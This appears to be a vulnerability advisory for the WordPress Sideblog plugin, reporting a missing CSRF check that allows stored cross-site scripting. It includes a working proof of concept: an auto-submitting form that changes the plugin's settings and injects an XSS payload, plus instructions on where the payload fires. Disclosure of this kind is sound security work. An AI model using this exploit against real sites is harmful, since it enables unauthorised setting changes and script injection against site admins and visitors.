The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping
<form id="test" action="https://example.com/wp-admin/options-general.php?page=sideblog.php" method="POST"> <input type="text" name="sideblog_options_update" value="update"> <input type="text" name="sideblog_options[setaside][1]" value="1"> <input type="text" name="sideblog_options[displayformat][1]" value="<img src=x onerror=alert(1)>"> <input type="text" name="sideblog_options[numentries][1]" value="1"> <input type="text" name="sideblog_options[order][1]" value="DESC"> <input type="text" name="op" value="update"> </form> <script> document.getElementById("test").submit(); </script> The XSS will be triggered in the Sideblog widget (either embed in frontend pages, or via the Appearance > Widgets > then search the Sideblog and add it)
Daniel Ruf
Daniel Ruf
Yes
2022-05-23 (about 2 months ago)
2022-05-23 (about 2 months ago)
2022-05-23 (about 2 months ago)